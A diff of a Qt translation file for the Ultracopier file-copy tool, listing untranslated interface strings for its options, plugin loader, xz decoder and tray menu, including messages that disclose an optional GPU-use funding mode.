+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -531,245 +673,306 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation type="unfinished"></translation>
</message>
<message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
+ <source>Name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="317"/>
+ <source>Version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="327"/>
+ <source>Language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
+ <source>The variables are %path%, %operation%</source>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="71"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
+ <source>Listener</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
+ <source>Session loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
+ <source>Force the language</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
+ <source>Replace the default copy and move system</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
+ <source>Load at the session loading</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../../OptionDialog.ui" line="169"/>
- <source>When manual open:</source>
+ <source>When manual open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
- <source>Group the windows when:</source>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
- <source>Name</source>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
- <source>Version</source>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
- <source>Language</source>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
- <source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
- <source>Listener</source>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
- <source>Plugin loader</source>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
- <source>Session loader</source>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
- <source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
- <source>Write the log file into:</source>
+ <location filename="../../../OptionDialog.ui" line="778"/>
+ <source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
- <source>Write the transfers:</source>
+ <location filename="../../../OptionDialog.ui" line="697"/>
+ <source>Write the log file into:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
- <source>Write the errors:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
- <source>Write the folder operations:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
- <source>Disabled because you have any SessionLoader plugin</source>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
<source>Synchronized log</source>
<translation type="unfinished"></translation>
</message>
@@ -777,11 +980,11 @@ This version is compiled as version: %1.</source>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -823,37 +1026,42 @@ This version is compiled as version: %1.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation type="unfinished"></translation>
</message>
@@ -871,140 +1079,140 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
- <source>informations.xml not found into the plugin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
- <source>English text missing into the informations.xml for the tag: %1</source>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation type="unfinished"></translation>
</message>
@@ -1012,44 +1220,44 @@ since:%2</source>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation type="unfinished"></translation>
</message>
@@ -1057,85 +1265,117 @@ since:%2</source>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
